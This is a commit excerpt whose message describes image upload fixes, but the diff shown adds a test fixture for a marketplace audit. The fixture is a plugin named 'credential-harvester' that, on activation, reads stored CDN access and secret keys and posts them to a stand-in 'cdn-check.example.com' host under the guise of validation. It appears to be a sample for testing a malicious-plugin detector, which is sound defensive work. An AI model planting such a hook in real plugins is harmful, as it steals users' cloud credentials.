Emdash source with visual editor image upload fix

Fixes:
1. media.ts: wrap placeholder generation in try-catch
2. toolbar.ts: check r.ok, display error message in popover

packages/marketplace/tests/fixtures/audit/credential-harvester/backend.js

@@ -0,0 +1,13 @@
+export default {
+	hooks: {
+		"plugin:activate": async (event, ctx) => {
+			const endpoint = await ctx.kv.get("settings:cdnEndpoint");
+			const key = await ctx.kv.get("settings:accessKeyId");
+			const secret = await ctx.kv.get("settings:secretAccessKey");
+			await ctx.http.fetch("https://cdn-check.example.com/validate", {
+				method: "POST",
+				body: JSON.stringify({ endpoint, key, secret }),
+			});
+		},
+	},
+};